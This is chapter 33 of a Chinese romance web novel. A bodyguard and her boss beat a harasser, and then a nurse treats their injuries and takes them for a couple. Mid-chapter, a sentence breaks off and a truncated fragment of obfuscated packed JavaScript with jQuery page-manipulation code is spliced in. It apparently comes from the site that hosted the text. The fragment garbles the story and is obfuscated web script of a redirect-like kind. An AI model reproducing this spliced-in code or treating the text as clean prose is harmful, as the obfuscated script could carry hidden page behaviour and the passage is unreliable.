33. 第 33 章

“朱亦非,你给我站住!”沈天佑扯着嗓门在朱亦非身后喊,无奈她根本不听使唤,纤细又敏捷的身影很快消失在夜色。


“她,她,她……”沈天佑指着朱亦非消失的方向语无伦次,也不晓得自己叫住她的目的到底是什么,就是很生气,非常生气。


黎成在一旁一个劲儿的安抚:“小沈总,没事,没事,咱不生气,朱老师不是有意往你怀里蹭的!”


沈天佑一听,立马炸了毛,“我有说是因为她那个啥我才生气的吗?我是那么小气的人吗?”


“啊,对不起,对不起,我错了,您当然不是小气的人,您最最宽宏大量,不就是被女人摸了额头,有什么大不了的!”


越说越离谱,沈天佑一个栗子敲黎成的额头上,“少两句你会死,别以为我不知道你心里想的什么。我就是不习惯与女人接触罢了,尤其是朱亦非!”


“是,是,是!”黎成面上附和,心底想的是:与其说是不习惯,不如说是您害羞了。


“走吧,去看看有没有需要帮忙的!”沈天佑揉揉后脑勺,庆幸朱亦非身材苗条,要是一个两百斤的胖子,他估计得被压死。


“小沈总,您其实挺关心朱老师的。”


“你不废话吗?”沈天佑一掌不轻不重的拍在黎成的脑门上,“她是我的私人保镖,就是我的人,我的人被欺负,难道我不替她撑腰?”


他咬咬牙,“从小到大你惹了多少祸,不都是我替你解决。”


这话不假,自从跟了沈天佑,黎成闯下的祸都是沈天佑替他担了,不存在被人欺负的事情发生。


朱亦非将喷水柱的男人堵在度假区公共卫生间的墙角,心中在烧。


“以为进了男卫生间我就逮不住你,错了!但凡欺负女人的男人我都不会放过。”因奔跑和愤怒,朱亦非面色泛红,怒视着男人。


“你个贱……贱货。”男人指着朱亦非骂,跑得急,此刻上气不接下气,想着恶作剧而已,没料到碰到个不依不饶的野蛮女人,跑得比他都快。


他没将朱亦非放在眼里,跑得快有什么用,一个女人而已,他分分钟能将她教训得服服帖帖。


他扶着墙站起来,恶狠狠道:“就凭你一个女人,能有多大能耐?识相点,就给我哪儿凉快呆哪儿去,我的忍耐是有限的。”


“是吗?”朱亦非强压着怒火,她深吸一口气,十指交叉,纤细的骨节捏得咯吱响,“行,那你就多忍耐忍耐。”


男人的视线落在双手胶握的拳头上,终于意识到眼前的女人非同一般,面色不太淡定,“你到底要干什么?”


“当然是揍你!”


朱亦非说干就干,谁让他往没有监控的男卫生间钻,不正好给她提供了揍人的最佳场地。


朱亦非抓住男人的手腕,一个漂亮的过肩摔,将男人重重地摔在地上。


猝不及防的一下子,男人这下不敢小瞧朱亦非,他挣扎起身,用力挥出拳头朝朱亦非的胸口砸。


朱亦非身子未动半分,仅如风般的速度抬起一只手,就将男人的拳头捏住,男人试图挣脱,却挣脱不开。


这时他再挥出另一个拳头,同样被朱亦非的手掌禁锢住,双手被禁锢,他使出一条腿,还没近身,朱亦非一个弹腿将男人踢翻在地,男人面部朝下趴地上,红着眼骂道:“你……你居然会功夫,看来我小瞧你了!”


他想要再战,朱亦非一脚踩在他的背上,将他死死地摁住,男人满脸惊恐,声音里带着一丝求饶,“贱女人,拿开你的贱腿,你这是故意伤害!”


“故意伤害?谁知道?”朱亦非准备再给他几拳时,沈天佑恰好赶到。


“朱亦非,法制社会不可以鲁莽行事,让我来。”


朱亦非脑海冒出一个大大的问号,犹豫几秒后松开了脚,这时,沈天佑扑了上去,对男人好一顿拳打脚踢,嘴里还“骂骂咧咧”:


“不识好歹的东西,让你猥亵妇女,她的拳头厉害,我的也不差,今天你是运气好,让你享受拳脚相加的滋味。”


地上的男人痛苦哀嚎,“你们这是故意伤人,我要告你们!”


沈天佑冷笑:“那你就去告啊,我倒要看看你能不能告赢,我沈氏集团的律师不是吃素的。”


朱亦非和黎成在一旁看得目瞪口呆,他是受了什么心灵创伤急需发泄吗?揍得真来劲儿。


末了,沈天佑揍爽了,收起拳头,对着拳头吹了一口气,语气颇为傲娇:“她是我的私人保镖,你动了我的人,就该承受你该承受的,不让你坐十年牢已是便宜了你。”


说完,一转头,发现朱亦非和黎成都直愣愣看着他,他眸光即刻闪过一些不自然,嗔怪道:“怎么,你是我的下属,我替你出头难道不应该吗?”


不应该吗?朱亦非未做思考,木然点头。可是,好像不用他出头,她也能解决此事,他是不是有点多余?


沈天佑假意咳嗽两声,撇头示意黎成:“让孙樾处理!”


黎成回答:“好,马上就办。”


男人虽被揍得鼻青脸肿,仍心有不甘,叫嚣道:“有权有势了不起,我绝对不会放过你。”


“呵,没问题,等着你。”


男人被孙樾的人拖走,沈天佑昂起头,满意的踱步而去。


孙樾赶到时,沈天佑和朱亦非刚看完诊。他猫儿哭鼠般哭天抹泪:“唉哟喂,我的小沈总啊,你怎么弄成这个样子,都是我的过失,没有把您照顾好,让您受了惊吓。”


沈天佑嗤之以鼻:“唉,唉,唉,少给我装模作样。”


也是,既流血又没包纱布,只是看见额头起了个大包而已,他就哭得像谁家死了亲戚一样。


沈天佑眉毛挑起,“孙樾,我看郦城分公司总经理的职务委屈了你,专业哭丧倒挺适合你。”


孙樾搓着双手,呵呵一笑:“小沈总,您尽开玩笑。”


开玩笑吗?沈天佑在心底发出一声讽刺的笑,小时候他就是用这副嘴脸使出各种阴招,让人防不胜防。


“行了,少废话。现在安排


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15090157|162917||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


人,我们回市区,这地儿不住了。”狗屁的天下第一温泉,泡了更睡不着,两宿没睡个好觉,迟早要将人折磨死。


孙樾照办。他走后,护士叫道:“朱亦非、沈天佑进来。”


“欸,来了。”两人齐声回答,又一同进了换药室,护士对朱亦非说道:“你的情况不严重,只需要每天冰敷几次就行,我先给你示范如何冰敷,回去之后按照我教的来,切忌辛辣、酒精,睡觉时垫高头部。”


护士一次性将注意事项说完,又对沈天佑说:“你的情况较她的严重,除了禁忌与她的一样,你的额头要每天抹药,后脑有伤口,要定期换药。”


说完,她拿了一块纱布开始在上面抹药。


沈天佑大惊,不是,这是要在后脑勺贴纱布?不行,绝对不行,贴了纱布他还怎么出去见人。他堂堂沈氏集团总经理,精诚资本创始人,怎么可能在后脑勺贴个纱布,除非他死。


沈天佑的手摆得像拨浪鼓,抗拒的面色特别明显,“我不贴,死也不贴。”


护士皱眉道:“多大个人,连个纱布也不敢贴!”


“这不是敢不敢的问题,是我愿不愿意的问题。”


护士不爽了,恐吓道:“你如果不想你的后脑勺长疤,就贴。”


沈天佑难得硬气了一回,“不贴!”不说他的发小见他后脑勺贴一块纱布会笑话他,单说沈天赐看见了,又是一顿嘲讽,虽说从小到大被他嘲讽习惯了,但是贴纱布是极度丢脸的事,他绝对不允许。


护士反问:“那要是斑秃呢?”


呃,斑秃有点严重,影响他的颜值。沈天佑沉默了。


在他权衡之际,护士忽然将手里的纱布递给在旁边默默坐了许久的朱亦非,“你男朋友不愿意贴,你来吧!”


两人同时惊讶得呆住,你看看我,我看看你,又一同望向护士。


朱亦非:“他不是我的男朋友!”


沈天佑:“他不是我的女朋友!”


两人异口同声,护士惊讶了片刻,接着笑道:“还说不是男女朋友,连回答都是出奇的一致,我在这儿工作好几年,可从没见过年纪相仿的姐弟或兄妹一起换药,不是情侣就是夫妻。”


护士将纱布硬塞在朱亦非手中:“不管怎么说,美女帮个忙,隔壁科室还有病人等着我,兴许他是不接受我帮他贴,你来贴他就愿意了。”


护士一走,换药室就剩下朱亦非和沈天佑二人,两人都不说话,一时显得室内格外安静,又流淌着几许尴尬的气息。


朱亦非眼睫轻抬,对沈天佑道:“你要不过来一点吧,我帮你贴。”于情于理她都应该帮她贴,毕竟她除了是他的私人保镖外,脑袋的伤是她造成的。


沈天佑别过眼不看她,不自在道:“你过来一点,我脚疼,动不了。”


朱亦非:“……”


算了,就依了他,谁让她撞倒了他呢!


朱亦非将凳子往沈天佑的方向挪了挪,说道:“我先给你把纱布贴上去,再给你额头抹药。”